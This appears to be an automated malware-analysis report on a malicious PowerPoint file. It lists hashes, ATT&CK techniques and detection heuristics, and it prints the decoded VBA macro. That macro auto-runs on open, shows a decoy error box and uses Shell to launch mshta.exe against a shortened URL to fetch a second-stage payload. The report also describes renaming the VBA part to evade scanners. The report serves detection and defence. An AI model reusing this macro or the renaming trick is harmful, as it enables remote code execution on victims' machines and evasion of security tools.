Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c2527b14f5296b52…

MALICIOUS

Office (OOXML)

5.9 KB First seen: 2021-10-31
MD5: c336c07a6bc7c1fd729611a4fbc07876 SHA-1: f3ab3412efcc07b4c9ecc95ce671e550518099bf SHA-256: c2527b14f5296b52293feea97b087aa9951c297402b4bc463e9d174dd4cb52e6
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that uses the Shell() function to execute mshta.exe. The command constructed is 'mshta.exe https://www.bitly.com/kddjdkdkwokwdokii', indicating an attempt to download and execute a second-stage payload from the provided URL. The VBA project part was also renamed to evade detection.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/ajdjdoakdwodkwa.b)
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 313 bytes
SHA-256: 4cd762ef4157ef7bb6ef1fe3eea337e4fca8931952689503e5ec8c855963d933
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
Dim X As String
Dim Y As String
Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
Z = "kddjdkdkwokwdokii"
Debug.Print X
Debug.Print Y
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/ajdjdoakdwodkwa.b 12800 bytes
SHA-256: e14d8b6493457238d472cd8ed16c51a4e00441fed1a35958fcd0e18aca2c6709

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